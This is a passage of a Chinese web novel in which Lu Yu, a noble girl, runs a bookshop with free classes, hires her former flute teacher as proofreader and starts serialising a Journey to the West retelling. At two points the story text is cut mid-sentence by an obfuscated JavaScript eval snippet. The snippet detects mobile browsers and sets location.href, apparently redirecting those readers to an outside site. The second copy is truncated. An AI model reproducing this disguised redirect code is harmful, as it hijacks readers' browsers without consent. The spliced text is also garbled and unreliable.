这法子和当年的就业服务机构一样,让你报名考证后推荐你就业,当年的机构真真假假,依然有那么多人踊跃报名,陆萸这里却是货真价实的可以替他们推荐到陆氏的店铺上班。 陆显听后,笑道:“孺子可教也,只是月薪每月三两即可。” 见陆萸还在疑惑,陆显接着解释:“十两银子的月薪,哪里还轮得到底层百姓应召?” 经陆显提点,陆萸茅塞顿开,她忘了还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12866581|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波读过书的寒门学子,若是他们来应召,那她开店想要普及文化的初衷就被打乱了。 想通后,陆萸就让店里的伙计去大街吆喝招聘信息去了,这法子果真好用,才一会功夫,很多从乡上来赶集的年轻人就都来咨询了。 有的来店里咨询了一下,听说还要买书读书就放弃了,有的听说以后的工作内容轻松,还有三两银子可以拿,最主要不卖身不签死契,于是打算回去筹钱了。 就这样,几天的时间里一传十十传百,陆萸的星火书店迎来了第一批星火学员,共有七人。 虽然没有想象中多,但是陆萸非常高兴,这七名学员,有十多岁的少年郎,也有二十多岁的青年,他们的目的也只是为谋一个就业岗位。 那些年龄大的和小孩都没来,一个是怕年龄大了读不进去书,一个是太小还没办法就业。 第一批学员上课,陆萸换上男装亲自给他们授课,每天授课两个时辰,主要讲解《三字经》,然后领读千字文。 因为是第一批学生,陆萸给他们编了学号以后,还每人奖励了一套文房四宝,为此七个学员学的更加认真了。 授课满五天后,陆萸给他们分派了学习任务,让他们做星火传递员,把这段时间的学习经历分享给周围的亲朋好友,以及各处各乡村的邻里们。 凡推荐成功一名学员者,书店奖励一枚星火印记,集齐三枚星火印记可以兑换一本《古文精选》,集齐五枚可以兑换一本《劝学》。 而凡手持星火书店的书籍者皆可在本店免费学习,每天都会有老师在此授课。 待学完《千字文》《成语故事第一期》《三字经》《弟子规》《启蒙故事第一期》者统一参加考试,考试合格的学员,不限人数皆由书店出面应聘正式上岗。 就这样,越来越多新学员加入,越来越多的星火传递员诞生。 之前参与制书校对的门生开始充当起星火课堂的临时老师,从校对转换成老师,他们比任何人都熟悉教材,教的也更加认真。 买书的人多了,陆萸又想出了书票促销模式,凡购买一本书籍,可得一张由书店自制的书票。 书票有书店防伪印章,凡集齐五张书票可兑换一只笔,以此类推,书票越多,能兑换的越多,书票除了不能兑换书籍,店内文房四宝皆可兑换。 陆萸在拿到第一批太平纸的时候,就已经安排人在华亭坡地大量选育竹子。 制作太平纸的竹子采用的是六个月左右的嫩竹,砍伐时间是每年初春季节,所以必须在7月左右种下,这样明年才能制造出更多的太平纸。 今年产的太平纸陆萸没有让它上市,除了用于印刷书籍外,只留着走亲访友的时候当礼品。 就这样,陆萸在阴山店铺忙的不亦乐乎,这期间,为了更好的做好店铺宣传,陆萸分五次跟着星火传递员去山阴县和旁边会稽县的乡镇村落走访。 走访期间为了给女孩子争取读书机会,她在不同的村落免费发放了五十册千字文和五十册《启蒙小故事》。 阴山书店渐渐按计划的经营运作起来,陆萸又开始出第二期《成语故事》《启蒙小故事》《古文精选》。 前两样的封面保持不变,只在上面用印章盖了第二期字样,《古文精选》第二期的封面,陆萸画了华亭的桂花。 现在书籍卖的好,就得加印,而以后店铺越开越多,校对的工作量就会越来越大,因此,陆萸打算回一趟建业,亲自把教授竖笛的陈老师应聘为校对总监。 竖笛陈老师,是她见过最有耐心的老师了,既有耐心做事又仔细,陆萸每吹错一个小地方,他都能及时发现并给予指正。 山阴的掌柜和伙计都是陆三叔找来的,他们都有丰富的经验,陆萸把她的管理理念详细和掌柜交代好后就赶回建业了。 39. 第三十九章 回建业 陆萸再次回到建业时,已是深冬,淮水河一如以往的清澈,河畔的垂柳早已只剩枝条。 她这次回建业,有三件事要忙,聘用陈老师,参加陆婠的及笄礼,以及准备今年底的元旦礼盒。 因为快一整年没回建业,华彩阁的账目陆萸也没时间去核对,谢洐已经来信催了好几次。 有端午礼盒的成熟方案后,今年的中秋礼盒陆萸只是设计好温馨喜庆的礼盒封面后,写了销售方案一起寄给谢洐,而秋娘这边只寄了新食谱,让她制饼以后全面配合谢洐。 回到久违的芝兰院,陆萸有种恍如隔世的错觉,去年底从这里离开去华亭时,病得分不清东南西北,差点就回不来了。 银杏性子活泼,见到陆萸回来,高兴得像个小孩子一样,整天围着陆萸转悠。 山阴书店年底要加一批书,且打算策划一波年底促销活动,所以陆萸暂时放下了核对账目的事,主动去寻陈老师。 她一整年没在建业,陈老师只得又去其他家里教授竖笛,虽然比不得陆氏给的束脩,但他没得选择,有课总比没课强。 陈老师名陈青,出生寒门,幸得竖笛大师教授竖笛后才有机会出入世家府邸,如今为了挣更多的束脩,他有时候一天去两家授课。 陆萸到陈青在建业租赁的小院时,他刚好外出给钱氏的小公子授课去了。 陈青有一儿一女,女孩是姐姐,比陆萸大一岁,男孩刚八岁,长得虎头虎脑的,见到陆萸时还有些害羞。 陈青的母亲卧病在床,他的夫人未料到陆萸突然上门,有些手足无措的为陆萸准备茶水,局促地开口:“家里只有粗茶,还望女公子多担待些。” 她只着一身浆洗得掉色的交领裙,照顾老人之余,还把家里和孩子们都打理得干干净净,陆萸在心里对她感观极好。 她忙回礼道:“师娘无需客气,我没有那么讲究。” 言毕,让银杏将食盒放在案上,才道:“我刚研发了几款新品,让孩子们一起尝尝。” 以前陈青去陆府授课时,散学后经常带点心回来,陈青时常感叹这些世家中,属陆氏最为和气且大方。 怕他们害羞,陆萸主动将点心拿出来,然后招手让两个孩子坐过来。 孩子们坐定后,陆萸问了他们的学习情况,以及兴趣爱好等。 一开始有些认生的姐弟二人听陆萸轻声细语的话,慢慢的放松下来,话也变得多了起来。 快至傍晚时分,陈青才从钱氏府中回来,看到陆萸,他愣了一下,才问:“听闻你生病在华亭休养,如今痊愈了吗?” 陆萸上前行礼道:“已经痊愈,我此番不请自来,是想与老师商议要事。” 陈青猜不透陆萸能和自己商议什么,但见她很郑重其事,便让夫人带着孩子退下了。 待陈青在对面坐定后,陆萸先给他倒了一杯茶后,才详细向他说明来意,并介绍了校对总监的工作内容和职责,以及月薪。 陈青听过后,思索片刻,才问:“我从未校对过书籍,女公子为何信任我?” “因为我这根朽木老师尚且有耐心教授,我便觉得拥有这般品格的您绝对能胜任此工作”陆萸笑着回。 闻言,陈青笑道:“女公子何须妄自菲薄,我众多学生中,你其实不是最差的。” 这的确是他的实话,虽然她学的比较吃力,但好歹态度极好,勤能补拙嘛。 陆萸知老师只是安慰她,所以也不继续客套,直接了当问:“老师是因为担心沦为工匠而有所顾虑吗?” 士农工商,匠人明明靠自己手艺吃饭,在这个时代却连有地的农民都不如,陈青祖上也是小地主,后来遭遇变故才成了寒门。 陈青听了,却连连摆手道:“我本就靠技艺讨生活,何来的资格嫌弃?我是担心做不好,让女公子失望罢了。” 不是嫌弃便好,陆萸之所以选中他,也是因为他这种凡事思虑周全的性子。 为了让他能下定决心,除了刚刚答应他的每月五十两薪酬之外,陆萸又承诺让他的儿子入陆氏学堂学习。 而他的女儿,只要她愿意,陆萸愿意带着她一起做书店的活计,月薪三两。 陆萸种种诱人的条件提出,陈青知道再拒绝就是真不知好歹了,于是起身向陆萸抱拳行礼,道:“青,谢女公子知遇之恩。” 陆萸忙伸手扶过陈青,笑道:“老师不必多礼,是你解了我的燃眉之急,该我言谢才是。” 既然答应了陆萸,陈青就立马行动起来了。 他先是去钱氏辞了工,因自己单方违约,所以这个月十多天的束脩都没收。 陆萸早就猜到老师会如此行事,所以当日谈妥后,第二天一早就让木槿送去五十两银子,说是让他预支薪酬,好后顾无忧的去华亭。 陈青看着装银两的钱袋子,心中五味陈杂,最终将女儿送去陆府后,直接收拾行囊去了华亭。 陈青的女儿名陈蕊,跟着陈青读过书,陆萸现在正缺识字的人,所以她才来就立马给她安排了任务。 最近陆萸忙着出新一期的印刷初稿,又要设计今年的元旦礼盒,实在忙不过来。 所以她教会陈蕊使用标点符号以后,由她口述内容,再由陈蕊一一记下。 就这样,十个启蒙故事十个成语故事很快完成。 陈蕊边记内容边感叹女公子脑海中竟然可以装下这么多有趣的故事,想来只有陆氏这样的百年世家才养的出这样的女郎。 哪里晓得,等到她记五篇《古文精选》的时候,对陆萸已经从赞赏上升到了崇拜。 女公子除了能将那些古文一字不漏的背诵之外,竟然还能写出两篇让人叹为观止的文章。 陆萸此次选的五篇古文是《生于忧患死于安乐》《触龙说赵太后》《前出师表》《陋室铭》《归去来兮辞》。 后两篇是陈蕊最为喜欢的,当陆萸解释说是世外高人所做时,她却依然固执的认为是女公子所作。 陆萸看着两眼冒泡泡的迷妹,解释再三无果后,彻底放弃了,估计以后再有新作时,也不用找各种理由了。 陈蕊把初稿全部记下,陆萸检查一遍确认无遗漏后立刻送去给陆歆审核了。 回来后第五天,陆萸设计好元旦方案后,终于要去华彩阁找谢洐核对将近一年来的账目了。 这一年,整体来说,茶点生意比较稳定,虽然年初几个月收益一般,但是入夏后茶饮大卖,利润也随之大增。 从年初至上月底共十个月,总营业额三千六百五十二两,陆萸提走二千一百九十一两。 她已看过秋娘核算的成本,这十个月,茶点日常销售净利润为一千七百九十五两。 总体来说,过了去年刚开始的新鲜劲,如今茶点销售已趋于平稳。 而端午礼盒和中秋礼盒却超出陆萸的意料,刨去成本后净赚四千七百二十六两,真是不得不再次感叹江东世家的豪横。 陆萸一下子要从华采阁带走六 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见陆萸还在解释着她一整年有多忙,谢洐打断道:“你想合伙开书店?” 陆萸又忙点头,道:“教育事业终归永不落伍。” 谢洐却不怎么看好,道:“听你之言,卖了书还得给那些平民授课,你又怎知他们会有毅力和志向坚持下去,别到时候糟蹋了陆氏的好书。” 谢洐世家出身,骨子里其实是看不上平民的,那些每日为生计奔波的人,在世家看来就不会有读书这等高雅的志向。 一些粗人罢了,一日三餐尚且难以保证,又何来精力追求高尚的知识。 陆萸早已习惯世家对平民的偏见,所以也没有要求他持同样的看法,只笑道:“王侯将相宁有种乎,我们做生意的,何必拒绝客户呢?” 谢洐听了,轻“嗤”一声道:“反正折腾的不是我的银子,随你们折腾,估计今日带走这些银两也只够你嚯嚯到明年三月。” 陆萸心想,不愧是生意精,这些都能算到,书店前期运营成本真的大,现在几乎都是靠烧钱运作。 她忙保证道:“今年底,我一定把孙悟空的故事给你寄来。” 谢洐没继续纠缠这个,而是认真和她商量起元旦礼盒的事。 现在华彩阁的节日礼盒已经打出名气,除了扬州,周边很多州郡都会提前下单。 说到这个,陆萸也说了想在荆州华彩阁分店内开茶品分店的事。 谢洐听后,立即一拍而合,只催着陆萸尽快培养人手去江夏。 荆州的治所在江夏,那里是连接南北的交通要道,且有陆萸的大伯在那里坐镇,华彩阁的人流和建业不相上下。 二人又再次确定元旦礼盒的方案后,陆萸才带着巨款回陆宅。 临行前,谢洐还是忍不住劝说道:“书店如果一直不盈利就莫要再折腾了,不然你做茶点赚的钱都不够填补窟窿。” 陆萸听了却不甚在意,但知他出于好意,忙答应自己会时时关注经营情况。 过了几日,陆婠的及笄礼,朱琳作为陆婠的好友,虽早早邀请过却没有来。 陆萸猜到,因为沈兴,朱琳已经记恨上陆纯了,连着自己的好友也不想来往。 陆纯去洛阳送佛珠手串后,一直留在荆州,如今为陆婠及笄礼特意赶回来观礼,同时也带来了有关曹壬的消息。 40. 第四十章 各自美丽 去年马球比赛的变故已过去一年,陆纯今年几乎没在建业露过脸,他以为这事已经被大家遗忘了,不曾想到会连累妹妹失了好友。 他自责道:“明日我去叔重府上赔礼道歉去。” 闻言,陆婠忙道:“阿兄不必如此,你和朱郎君是挚友,不能因为我伤了情分,再者,沈兴腿伤难愈与你何干。” 陆萸在一旁也忙附和:“阿姊说的没错,你若去道歉,和你无干之事全赖你头上了,琳姐姐自己是非不分,阿姊不和她来往也不是坏事。” 她前世见识过太多闺蜜因为男人翻脸的桥段,有些女生恋爱脑起来六亲不认,更别提只是个朋友。 陆婠也点点头:“阿萸所言极是,我的好友不差她一人。” 陆纯听了,便也作罢,于是向两位妹妹说起了洛阳之行。 他从华亭带葛医仙制的佛珠手串快马加鞭赶到洛阳白马寺时,曹壬已经剃度出家。 因四月初八是佛诞日,白马寺有“浴佛节”活动,于是陆纯又在洛阳多逗留了一些日子,和兄长一起参加完“浴佛节”才回荆州。 白马寺住持净觉非常欣赏曹壬,剃度后直接收他为亲传弟子,“浴佛节”盛典时甚至亲自带着他出席重要场合。 而曹壬也未让净觉失望,佛诞日有全国各地僧人聚集白马寺辩经论佛的惯例,曹壬在今年这次盛会上大发异彩,辩赢了其他各佛寺的辩经高僧。 曹壬一战成名,一时间成了洛阳都城的热门话题。 他放弃太子之争,不爱虚名入了佛门已被太多人赞其品质高洁,如今才入了佛门就取得如此成绩,想来修成得道高僧指日可待。 自此,净觉住持大凡外出论经传扬佛法都要带上他,洛阳世家有很多人信佛,在今年“浴佛节”之前,住持净觉是世家常客,如今多了个曹壬。 曹壬未入佛门时,常年避居南安王府小院,不与外人有过多往来,与后世社恐无异。 如今入了佛门,本是清净之地,他反而不得不出入各世家府邸,陆萸听起来只觉得唏嘘。 也不知道他适应了没有,不过想到有住持跟着,想来也不会有人为难他。 陆萸问陆纯:“那佛珠,他戴手上了吗?” 这是她最关心的,别花费那么多心思最后被他束之高阁,那她肯定要亲自去白马寺让他戴上。 陆纯回道:“才送那日就已经戴上了,佛珠绕手腕刚好两圈。” 听此言,陆萸这才放心下来。 陆纯接着道:“直至看过他在佛诞日的精彩辩论,我才理解你的决定。” 那样的少年,真不该让残忍的真相摧毁他追寻的梦想。 提起这个,大家不约而同想起了那个毒手串,以及波涛暗涌的南安王府。 一时间,兄妹三人皆沉默不语,即便是那样糟心的王府,陆婠依然不得不嫁进去。 这一刻,陆萸心中反而期盼着曹善能被立为太子,那样就可以和南安王府脱离了。 陆纯却有别的想法,南安王府,也就听起来好听而已,整个王府值钱的也只有姓氏。 大魏的其他藩王都是手握私兵,为大魏拱卫着江山,而南安王自封王至今,从未得过兵权,这也是他能离开封地到建业开府的原因。 一个无权无势徒有虚名的藩王,没人在意他住哪里,更没有几个世家把他们当回事。 倘若有一日南安王府不识好歹,他不建议做一回恶人,主动替妹妹把亲事退了,反正陆氏背后有兵马,谅南安王府不也不敢吭声。 陆纯又说了一些长兄陆弘在洛阳的情况,还有他去荆州后的种种才离开芝兰院。 离开前,他对陆萸道:“君期已经有了法号,慧悟,阿萸,以后这世上没有君期公子。” 陆萸闻言,愣了一下,才涩然一笑:“多谢阿兄告知,我会放下的。” 陆纯想起妹妹为了曹君期吐血一事,只觉得这世上太多事都是有缘无分造化弄人。 轻叹一声,他不擅安慰人,听说妹妹这一年也忙的很,想来很快就能放下了。 陆纯和陆婠都走后,陆萸坐在窗前,打开曹壬的小盒子,那里面是空药瓶和那串檀木佛珠。 葛医仙把每颗珠子都剖开,将里面的药都去掉以后又在解药里煮了许久,晒干后重新用胶水把珠子全部粘好才给陆萸。 但是他仍不放心,所以只准陆萸装在盒子里看看,万不可作死拿出来戴手上。 那场病让陆萸后怕不已,她也不敢再拿生命冒险了,所以佛珠和药瓶又回到了小盒子里。 被煮过的佛珠早已没有原来的味道,那是他礼佛时点燃的旃檀香予乐,陆萸记得那日雨中在马车上,他第一次和她谈起梦想。 慧悟,这名字真的适合他,他终于实现了当年的梦想,轻叹一声,陆萸将盒子重新盖上。 又过几日,陆萸收到陆歆的回信,这次的初稿审核已过,可以开始印刷制作。 祖父在信中还提到他最喜欢《陋室铭》,而葛医仙喜欢《归去来兮辞》,让她以后有新作不要藏着掖着,可以大胆写出来。 陆萸心想,新作多着呢,全是人教版严选过的,只是一下子冒出来太多,唯恐陆氏书店的人解释不清。 年前是走亲访友的好时候,陆纯这天带着新制的一百刀太平纸,然后约朱慎去跑马。 朱慎也是很久没见陆纯了,二人酣畅淋漓的跑了几圈后,约着一起去亭子饮茶。 二人坐定后,想起陆萸当初就是在这里煮茶,朱慎笑着打趣道:“你不在,我连你妹妹的点心都吃不上了。” 提起妹妹,陆纯就止不住想在好友面前对妹妹夸赞一番,他先把纸给朱慎,然后接着夸妹妹心灵手巧,既能做美味点心又能制如此好纸,夸妹妹脑中总有奇思妙想让他自愧不如。 他夸完,又叹道:“别说你,我也是很久没能吃她的点心了,她现在比我们任何人都忙。” 朱慎用手轻轻抚摸着太平纸,心中却已激起千层浪,想不到那样胆小木讷的她,竟然还有这样不为人知的一面。 他记得她当初创新了制茶工艺,现在又改良了造纸术,以后呢?是否还有更多惊喜等着他。 太平,能取出这样的名字,那得是拥有怎样的胸怀才能想到的呀。 同样都是妹妹,一个为了刚愎自用的瘸子闹着要死要活的,一个却可以日日泡在脏乱差的造纸坊,只为心中的太平。 这差距,让他一时对朋友从羡慕变成了嫉妒,真是嫉妒到极点也不为过。 陆纯见好友摸着纸不回话,奇道:“这纸你不喜欢吗?” 朱慎回过神来,笑回:“怎会,我是欢喜极了,不知如何回你。” 陆纯一副就该如此的表情,然后放下豪言:“今年产量低,待明年,我每月送你一百刀。” “那我就提前谢过季真慷慨”朱慎笑回。 陆纯不甚在意的摆摆手:“身外之物,不值一提。” 陆萸不知次兄如此大方,若知道得心疼死,一个月一百刀够她印刷多少书了。 二人又聊了一下近期见闻,朱慎突然问:“家里有给你定亲的打算了吗?” 陆纯这才想到朱慎也该定亲了,于是和朋友说了家里已经答应不会催他定亲之事。 顿了一下,他好奇道:“莫非虞伯母要给你定亲了?想定哪家女郎?” 朱慎今日原想找好友诉说最近的烦恼,他母亲已经多次暗示他多留意翁主曹姒,可他真心对那个刁蛮任性的女郎提不起半点兴趣。 可不知为何,看着眼前的太平纸,他却言不由衷道:“还未,说让我先留意着。” 陆纯点点头:“建业城女郎甚多,你又如此受欢迎,大可慢慢寻,与自己共白首之人,合该寻一个心悦之人才是。” 朱慎听了,却是难言的酸涩,他还没寻到心悦之人,父母长辈也不会给他这样的机会。 也不知出于什么原因,摸着纸,他突然问:“你家开始给阿萸相看了吗?” 陆纯还在脑海中替好友筛选着合适的女郎,冷不丁听到这样的问题,愣了一下,才道:“妹妹还小,母亲还未有打算。” 一向神经大条的陆纯,在说完这话的时候,好像察觉到对面的好友突然笑了一下。 朱慎的确笑了,不过很快就一本正经道:“你是他兄长,一定要替她把好关才是,莫要似我这般,追悔莫及。” 说起朱琳的亲事,陆纯没继续深思好友那一笑的深意,而是跟着叹息起来。 若换成妹妹看上沈兴那等郎君,别说定亲,还未定亲,他就要带人亲自把那人的腿给打断了。 他和朱慎是好友,看人的眼光一样,在 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陆纯起身准备离去,朱慎突然拿了一盒香让陆纯转交给陆萸,陆纯方才那种怪异的想法又冒了出来。 这香,好友是有备而来的,他心下有些犹豫该不该答应。 朱慎却一派坦然道:“去年祖母寿辰,阿萸说过这香味道好,如今我收了她的纸,这香就当回礼吧。” 听他这样解释,陆纯又放下一闪而过的想法,乐呵呵替他给妹妹送香去了。 陆萸看着盒中满满的香,也有些摸不准朱慎这是何意,当初她不过随口一夸罢了。 只是当时没想起送她,都过了一年才送来,太过于莫名其妙了,她还记得安吉说过这是朱慎专用的香。 她问陆纯:“朱郎君可有话转交?” 陆纯笑道:“他说是回礼,怎么?不喜欢吗?若你不喜欢我明日还他就是。” 他们是好友,妹妹不喜欢,还了就是,想来好友也不会在意。 陆萸没有兄长这么大条,只笑道:“先收着吧,以后再用。” 她若真退回去,向来心思重的朱慎指不定又要多想,罢了,收在箱子里就是。 她现在忙着想赚钱的法子,没精力也没兴趣去猜那人心中的弯弯道道。 短短半个月时间,今年元旦礼盒已经全部售罄,有前几次成熟的运营模式,这次完成的非常顺利。 陆萸和谢洐对过账后,和之前之前未提完的销售提成抽一部分和这次一起,提走了五千两银子。 银杏是陆萸的小管家,从去年元旦礼盒大卖以后,她已经对陆萸时不时带回上千两银子习以为常了。 她再三清点以后,给陆萸一个存款清单,除去茶点成本,今年各节日礼盒成本,陆萸现在存款八千七百三十二两。 陆萸数钱数的开心,人也大方起来,她给秋娘、木槿、银杏,各奖励了五十两过年红包,金葵、红桑、石楠则每人包了四十两,陈蕊包了十两。 小女孩第一次直观的感受到学习知识可以挣得银钱,拿着红包激动得说不出话来。 书店开店准备的时候,三叔陆显知道陆萸有长远打算,所以铺面是一次性买断的。 他买铺面、装修铺面和维修后院那些房子一共花了一千两银子,加上掌柜和伙计的月薪,陆萸如今差陆三叔一千三百两银子。 这笔钱她打算年底一次性还给三叔,造纸、印刷和制书这些工人都是陆氏提供的,她不好意思再薅三叔的羊毛。 等书店步入正轨,学生会越来越多,书店后面的教室肯定不够用,到时候她还得新建校舍。 这么一想,八千两银子根本不够花,还是赶紧想想如何让书店多点收入来源才是。 思及此,陆萸开始着手默写西游记。 若让她全文默写西游记原著,那是万没有这个本事的,所以她干脆按电视剧写。 电视剧一共二十五集,她每集都记忆深刻,只是真正下笔才发现单纯口述故事可以,写成书还真有些困难。 不过向来不服输的她硬是花了半个月的时间,没日没夜的写,写了又改,改了又修,终于写了十集的内容。 又到了今年祭祖的时间,陆萸带上刚出炉了十回西游记手稿,信心满满的出发回华亭了。 41. 第四十一章 这次回华亭陆萸没有生病,一路上也许因为迫切想把西游记出版了,所以也没有晕船、晕车,到祭祖那天,她终于好好拜了拜陆氏的列祖列宗。 看着那么多排位,在袅袅香烟中,陆萸有种不知今夕何夕的错觉。 祭祖结束,陆萸立马把十集西游记的初稿交给祖父审核,顺便说了她的想法。 西游记一共二十五集,她写成二十五回,每五回印刷成一本,打算一本定价五两银子。 陆歆还没开始审稿,听了她的打算,觉得五两银子可能太贵了,且五回太少了,不如就一次性印刷十回的内容。 陆萸于是又解释了故事连载印刷的好处,且她对西游记非常有信心,所以这五两银子肯定有人愿意掏。 陆歆拗不过她,就打算先审稿子,谁知才读了一回的内容,就根本停不下来,甚至废寝忘食一次性把十回内容审核了。 陆萸把初稿给祖父后,就去校对工坊找陈青了解校对工作适应情况去了。 陈青在未到华亭时,以为校对的书稿是誊抄本,等他真接触到印刷稿的时候,既震惊又不得不佩服陆氏竟然可以如此快速制书。 最让他记忆深刻还是那些书的内容,《三字经》《弟子规》都是他读书几十年从未看过的,《古文精选》里面也有一些文章惊艳绝伦,让他彻底爱上了校对的工作。 可以说,他在这份工作上,既保持对工作职责的严谨和负责,又持有对新知识的探索和热爱,每次看到新知识都恨不得像海绵一样快速吸收。 见陆萸到工作坊,还未等她开口问,他主动上前行礼:“多谢女公子给我此等机遇。” 陆萸笑着避开他的礼,才道:“您是我的老师,莫要行此大礼。” 说起这个,自从他爱上了校对工作,吹奏竖笛也多了以前没有的随心所欲,反而突破了以前的吹奏瓶颈。 他忙道:“只要女公子需要,我可以继续教授你竖笛,且无需额外出束脩。” 如今书店也才刚刚起步,陆萸没太多时间培养兴趣爱好,所以只能暂时不提这事。 看过陈青后,陆萸又去了造纸坊,看看设备是否需要更新和增加,毕竟过完年就要砍竹子了,得提前做好准备。 看过造纸坊,陆萸还亲自去看了看竹子的长势,这批竹子是根据陆萸提的要求,特意从建安郡南平县买来的毛竹。 佃农也是第一次种植,所以一刻都不敢马虎,好在快到砍伐的季节了,毛竹如预想的一样长势极好。 雕版印刷除了陆歆、陆显,陆家人都没人参观过全过程。 这次祭祖,陆歆这一支的主要家庭成员难得齐聚一堂,陆歆便让陆显亲自带着他们去参观了整个流程。 陆萸带着斗笠去山里看过竹子回来的时候,他们都已经参观结束。 听闻他们都在大堂等她,陆萸干脆衣服都没换,直接退下斗笠就去了大堂。 才入大堂,屋内所有人目光齐刷刷看向她,她刚迈进去前脚,突然惊得不敢再迈下一步。 疑惑的看了眼最上首的陆歆,陆萸问:“祖父?出了何事?” 才问完这话,陆萸心里已经脑补了一堆关于自己的批斗大会,莫不是他们看过雕版印刷后想把她当妖怪烧了? 她这么想着,眼中不免多了几丝恐惧。 陆歆见状,笑道:“看你们把小九吓得”言毕,又招招手,道:“小九来我旁边坐。” 陆萸第一次在这么多长辈面前如此高调,但看到陆歆已经让人准备了空案等着自己,她向长辈们行过礼后,快步走到陆歆右手边坐好。 人已到齐,陆歆便正式说起这次召集大家开会的三个主题思想。 其一,陆氏改进了造纸术,这样的纸张以后除了印刷书籍,剩下的可以大量投入市场。 其二,雕版印刷术是陆氏机密,暂时不能对外宣扬,如若有内奸,哪怕逃离族中,陆氏也要派人追杀。 在场的所有人,都有义务保住这个机密不被泄露。 其三,陆萸全权负责编辑、印刷、装订及开店所有事宜,大凡陆萸有要求,在场所有人皆需无条件配合陆萸的工作。 陆萸见祖父作为陆氏家主竟如此坚定的支持她的事业,她前世对家庭的渴望和归属感,在这一刻得到圆满,不知不觉间竟湿了双眼。 在场的人今日看过所有工坊后,内心皆激荡不已,身为陆氏的后人,他们很能理解家主提出的要求,于是齐声答诺。 陆萸忙起身向众人行礼:“阿萸谢大家的支持和厚爱,我定不会让你们失望的。” 等散会后,陆萸刚起身,陆歆在一旁道:“你那故事只有十回,我不够看,快些把后面的写来给我审核。” 闻言,陆萸笑问:“祖父觉得我之前的想法可行?” “可行,可行,你赶紧写后面的”陆歆催促道,他现在能理解追连载的痛,真是痛并快乐着。 陆萸早就猜到会有这样的效果,于是再次笑着行礼后才退下。 才出了大堂,陆纯、陆婠、陆妘三人同时围了过来,他们都想问陆萸是如何想到这些稀奇东西的。 陆萸忙打住他们提问,带着他们一起回了自己住的海棠院,才如此这般这般如此详细说了所有经过。 三人听过后,静默须臾,陆妘第一个开口,“早知道这么有趣,我就留在华亭了,在洛阳太无聊了。” 陆纯却道:“阿萸生为女子竟有如此志向,我自愧不如。” 陆萸笑道:“以后需要大家帮忙的地方多着呢,到时候大家别嫌我烦才是。” 闻言,三人都来了兴致,陆萸便向他们说了自己的打算。 以后书院若是开起来,陆纯可以去教授骑射,要是发现资质好的学生,陆纯可以培养自己的亲卫。 她正在尽可能的为女孩子们争取学习机会,所以两位姐姐也有机会去客串讲师。 山阴书店年底要做一场促销活动,凡在书店购买三本书籍者,出示三张书票,即可免费抽取一根精美竹制书签。 书签首端打孔,挂有红黄蓝绿色精美丝线编织的花型吊坠,每根书签背面有雕刻精美的图案,正面则有一句经典诗句。 陆萸打算让哥哥姐姐们帮忙写书签正面上的诗句,至于写什么,他们可以自由发挥,也可以让陆萸提供稿子誊抄。 书签背面的图案是陆萸设计的,花鸟鱼虫兽应有尽有,她已经拿去给雕刻师傅雕刻上色。 第二日,书签已雕刻好,接下来就剩下写字,哥哥姐姐们既兴奋又热情地投入到了忘我的书写中。 饱读诗书的他们没让陆萸提供稿子,而是主动默写记忆中惊艳到他们的诗句。 找到帮手,陆萸就没有参与写书签,而是赶紧写西游记后面的内容。 西游记第一本已经定稿,书名改成《取经记》,封面是孙悟空穿齐天大圣的衣服,手持金箍棒,正遥望远方腾云驾雾。 就这样,在大家齐心协力下,山阴书店的书补充了一大批,《取经记一》也正式上市。 山阴书店已经在会稽郡打出名声,如今新书上市,除了想免费学习知识的人,还多了一波《取经记》的忠实读者。 陆萸从未怀疑过这个时代有钱人的购买能力,印刷的一百册《取经记一》被抢空后,她立马印刷了第二部,并给第一部加印了一百册。 沈玉带着妹妹一起来华亭赏鹤的时候,看到的就是陆氏兄妹们忙碌的身影。 除了写书签,陆萸还安排哥哥姐姐设计书票图案,他们都是学过画的,这对他们而言太容易了。 为了起到防伪作用,书店的书票需要不定时时更新图案并加盖有星火标记的印章。 沈玉见他们忙,也没要求他们带自己去赏鹤,而是自己带着妹妹去赏过鹤后,把他写的游记拿给陆萸看。 他带来的第一本游记写的是成都,有成都的人文风情,特色美食,还有描写都江堰的宏伟壮观。 陆萸看过后,也觉得写得非常好,于是和他征求加入标点符号的想法。 沈玉没有来华亭前已看过《取经记》,也是根据那个调整过自己的写作手法,所以陆萸要加入标点,他立马同意了。 他还问:“不知《取经记》是出自何人之手,阿萸可否替我引荐?” 陆萸如今打起马虎已经得心应手,她笑回:“此人是祖父认识的世外高人,不敢打扰他清修。” 沈玉闻之,虽有遗憾,但也只得作罢,接着和陆萸讨论自己的游记如何上市的话题。 陆萸和沈玉说了自己的想法,只要他放心星火书店,并授予星火书店独家销售权,她可以和他五五分。 他只需要提供初稿,书店这边审好稿子后,会将第一本定稿发给他确认,他同意后,书店会大批量制作书籍上市。 上市后,书店会在第二个月根据上月的销售情况结算费用,沈玉可以去书店直接提取分成。 如果游记大卖,沈玉还要配合书店参与书籍宣传活动,比如线下签售会。 沈玉不知何为线下签售会,陆萸又详细讲解了一番。 该解释的都解释完了,陆萸问:“墨生可以先考虑考虑,如果同意,我们可以签订协议。” 沈玉是个爽快人,他不知道陆萸如何想出这么多稀奇古怪的点子,但他相信她肯定会做得超出自己预料,所以没有犹豫就签订了协议。 沈玉的游记有沈玉本人的名气背书,所以陆萸给书的定价是十两银子一本。 第一本书印刷制作出来,陆萸立马拿去给给沈玉确认。 沈玉也对陆萸这样的制书速度惊叹不已,明明游记是自己写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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山阴书店出名了,自然就有人眼红,有人开始向朝廷说了书店卖书还开设课堂的事。 